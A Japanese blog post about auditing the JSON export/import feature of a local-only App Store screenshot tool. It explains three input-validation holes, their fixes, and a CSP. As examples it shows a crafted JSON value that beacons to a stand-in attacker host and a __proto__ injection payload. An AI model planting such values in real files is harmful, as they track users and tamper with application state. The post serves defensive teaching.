「このアプリはサーバーもDBも無いから、セキュリティは考えなくていい」
自分でそう思っていて、実際に監査したら3件出てきた、という話です。出てきた場所が全部同じところでした。自分のアプリが書き出したファイルを、自分のアプリで読み込む処理です。
エクスポート/インポート機能を持っているアプリなら、スタックに関係なく同じ穴が空きうると思うので、パターンとして共有します。
この記事はZennに書いた記事をベースに、汎用的に使える形へ再構成したものです。内容はすべて自分のOSS(MIT)で確認し、修正・再検証まで済ませています。
前提:監査したものの構成
App Storeのスクリーンショットを作る個人ツールです。
- サーバーなし、DBなし、ログインなし、外部通信なし
-
index.html1枚。ビルドもなし - ブラウザで開いて、画像をドロップして、書き出して終わり
そして、デッキ全体(文言・画像・スタイル)を1つの .json に保存する機能があります。あとで再開できるのと、人に渡せるのが売りでした。この「人に渡せる」が今回の全部です。
パターン1:ファイル内の文字列が、そのままURLとして使われていないか
一番効いたのがこれでした。読み込み側はこう書いてありました。
// 修正前
DEVS.forEach(dev => {
const src = sd.img && sd.img[dev];
if (src) { const im = new Image(); im.src = src; }
});
保存するときは必ず data:image/png;base64,... を書き出します。だから読むときもそうだろう、と何も考えずに信じていました。でも .json はただのテキストなので、受け取った人が中身を書き換えられます。
{ "style": { "bgImg": "https://attacker.example/beacon.png?id=abc" } }
これを開くと、ブラウザは素直に取りに行きます。攻撃者から見えるのは、開いた人のIPアドレス、User-Agent、それと「いつ開いたか」。画面上は何も起きません。読み込みに失敗した画像が1枚あるだけなので、気づく要素がないです。
RCEでもデータ流出でもないんですが、このツールの売り文句が「ローカル完結・アップロードなし・トラッキングなし」なので、他人からもらったファイルを1つ開くだけでその前提が崩れます。深刻度というより、約束していることが守れていない状態でした。
対策はスキームのホワイトリストだけです。
const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }
インラインの data: だけ通して、それ以外は null に落とす。
確認すべき箇所:img.src、fetch、a.href、link.href、CSSの url()、iframe.src。ファイル由来の文字列がこれらに届いていないか。届いているなら、スキームを検証しているか。
パターン2:パースしたJSONを Object.assign でマージしていないか
同じ処理にこれがありました。
// 修正前
if (d.style) Object.assign(state.style, d.style);
ぱっと見ふつうのマージですが、JSON.parse と Object.assign の組み合わせには落とし穴があります。
-
JSON.parse('{"__proto__":{...}}')は、__proto__を自分自身のプロパティとして持つオブジェクトを作ります。ここではsetterは呼ばれません - 一方
Object.assignはコピー先に[[Set]]を使います。つまりtarget.__proto__ = {...}と書いたのと同じ扱いになり、今度はsetterが呼ばれます
結果、コピー先のプロトタイプが差し替わります。Object.prototype 全体の汚染ではないので影響は限定的ですが、存在しないはずのキーが in や for...in に出てくる状態は想定していません。
あと Object.assign は未知のキーも値の妥当性も見ないので、titleSize: 999 も bg1: "red;background:url(...)" も素通りです。
対策はマージをやめて、既知のキーだけを組み立て直すことにしました。
function sanitizeStyle(r){
if (!r || typeof r !== "object") return;
const s = state.style;
s.bgType = safePick(r.bgType, ["gradient","solid","image"], s.bgType);
s.bg1 = safeHex(r.bg1, s.bg1);
s.titleSize = safeNum(r.titleSize, 0.01, 0.3, s.titleSize);
s.bgImg = safeImgSrc(r.bgImg);
// ...以下、既知のキーのみ
}
__proto__ は「知らないキー」として単に落ち、数値は範囲にクランプされ、色は形式チェックを通ります。危ないキーを弾くのではなく、安全なキーだけ拾う形です。
structuredClone や素朴なdeep mergeを自作している場合も同じ観点で見たほうがいいです。Object.create(null) に一度移す、__proto__ を明示的に落とす、といった回避もありますが、キーを絞るのが一番わかりやすいと思っています。
パターン3:UIで守っている制約が、ファイル経路でも守られているか
これは地味ですが、たぶん一番よくあるやつです。
// 修正前
if (tt) s.loc[L] = { title: tt.title || "", subtitle: tt.subtitle || "" };
|| "" は「空なら空文字」のつもりで書いたものですが、title が 12345 だと数値のまま通ります。表示側は title.trim() を呼ぶので、trim is not a function でその場でアプリが落ちます。{} でも同じです。TypeScriptで型を書いていても、JSON.parse の戻り値は実行時には何でもありなので、型は守ってくれません。
件数も同じでした。エディタ側は10枚で止めているのに、ファイル経由なら5万枚のデッキが渡せます。
// 修正後
state.slides = d.slides.slice(0, 10).map(sd => { // エディタと同じ上限
...
s.loc[L] = { title: safeStr(tt.title, 500), subtitle: safeStr(tt.subtitle, 500) };
});
UIのバリデーションはUIの都合でしかない、というだけの話なんですが、忘れていました。
おまけ:監査で見つかった、セキュリティではないバグ
これは穴ではなく普通のバグです。
// 修正前
if (d.device === "iphone" || d.device === "ipad") state.device = d.device;
このツールは最初iPhoneとiPadだけでした。その後Android、iPhone 6.7インチ、Androidタブレット、Mac、フィーチャーグラフィックと増えて今は7機種あります。書き出し処理は共通の DEVS を回るようリファクタ済みだったのに、この1行だけ古いまま残っていました。
なのでMac表示中に保存して読み込み直すと、黙ってiPhoneに戻ります。エラーも警告も出ません。
// 修正後
if (DEVS.includes(d.device)) state.device = d.device;
見つかったのは、「ファイルから来る値を1つずつ全部並べて、それぞれ何を検証しているか書き出す」という作業をしたからでした。セキュリティ目的の棚卸しが普通のバグを掘り当てるのは、わりとよくある気がします。
CSPで「通信しない」を証明可能にする
修正に加えてCSPのmetaタグを入れました。
<meta http-equiv="Content-Security-Policy" content="
default-src 'none'; img-src 'self' data: blob:; font-src 'self';
style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline';
connect-src 'none'; base-uri 'none'; form-action 'none'">
効いているのは img-src に http(s) が入っていない点です。この先リグレッションで検証が抜けても、ブラウザ側が外向きの画像取得を止めます。connect-src 'none' でfetch・XHR・WebSocketも塞がります。
アプリ全体が1つのインラインscriptなので 'unsafe-inline' は外せません。そこは諦めています。守りたいのが「注入されたスクリプトの実行」よりネットワークに出ないことなので、優先順位としてはこれでいいと考えました。
副産物として、これは主張の証明にもなります。「トラッキングしません」は口約束ですが、CSPが入っていればDevToolsのNetworkタブを開くだけで誰でも確認できます。
修正を、監査と同じ攻撃で再検証した
直して終わりにはしません。悪意のあるプロジェクトファイルを1つ作って全部盛りで投げました。
| 攻撃 | 監査時 | 修正後 |
|---|---|---|
bgImg にリモートURL |
そのまま取得 |
null(通信ゼロ) |
__proto__ を仕込む |
プロトタイプが差し替わる | 未知キーとして破棄 |
titleSize: 999 |
そのまま適用 | 0.3 にクランプ |
| フォント名にタグ混入 | そのまま採用 | 既定値のまま |
| スライド50枚 | 50枚とも生成 | 10枚に制限 |
| タイトルが数値 |
.trim() で例外 |
空文字に正規化 |
| Macで保存して再読込 | iPhoneに戻る | Macのまま復元 |
DevToolsのNetworkタブはリクエスト0件、コンソールのエラーもゼロでした。
あわせて正常系も確認しています。まっとうなファイルでスクショ6枚・スタイル・端末・日本語テキストが往復して、書き出しも規格どおり(1284×2778、PNGカラータイプ2 = アルファ無しRGB)でした。守りを足して機能が壊れたら本末転倒なので、ここは毎回セットで見ています。
なお、XSSは元々ありませんでした。ユーザーのテキストが innerHTML に入るのは1箇所だけで、最初からエスケープしていました。eval や外部リソースの参照も0件です。
まとめ
- 「バックエンドが無い」は「外部入力が無い」ではない。ファイルを開く機能がある時点で、そこが信頼境界
- 保存したのが自分でも、開くときに渡してくるのは他人。往復するデータは、戻ってくる側にだけ検証が要る
- 具体的に見るのは3つ
- ファイル由来の文字列が、URLとして使われていないか(
img.src/fetch/href/url()) - パースしたJSONを
Object.assignでマージしていないか。既知キーだけ組み立て直す - UIで守っている制約(型・長さ・件数)が、ファイル経路でも守られているか
- ファイル由来の文字列が、URLとして使われていないか(
- CSPは、ネットワークに出ないことを口約束から検証可能な状態にしてくれる
AIに書かせたコードだと、保存と読み込みを続けて書かせることが多いと思います。そのとき読み込み側は、保存側の出力しか想定しません。自分が書いた形式を暗黙に信頼するコードになるので、そこは人間が指摘しないと出てこないところでした。
監査したツールはこれです。App Storeのスクショを作るだけの小さいものですが、MITで公開しています。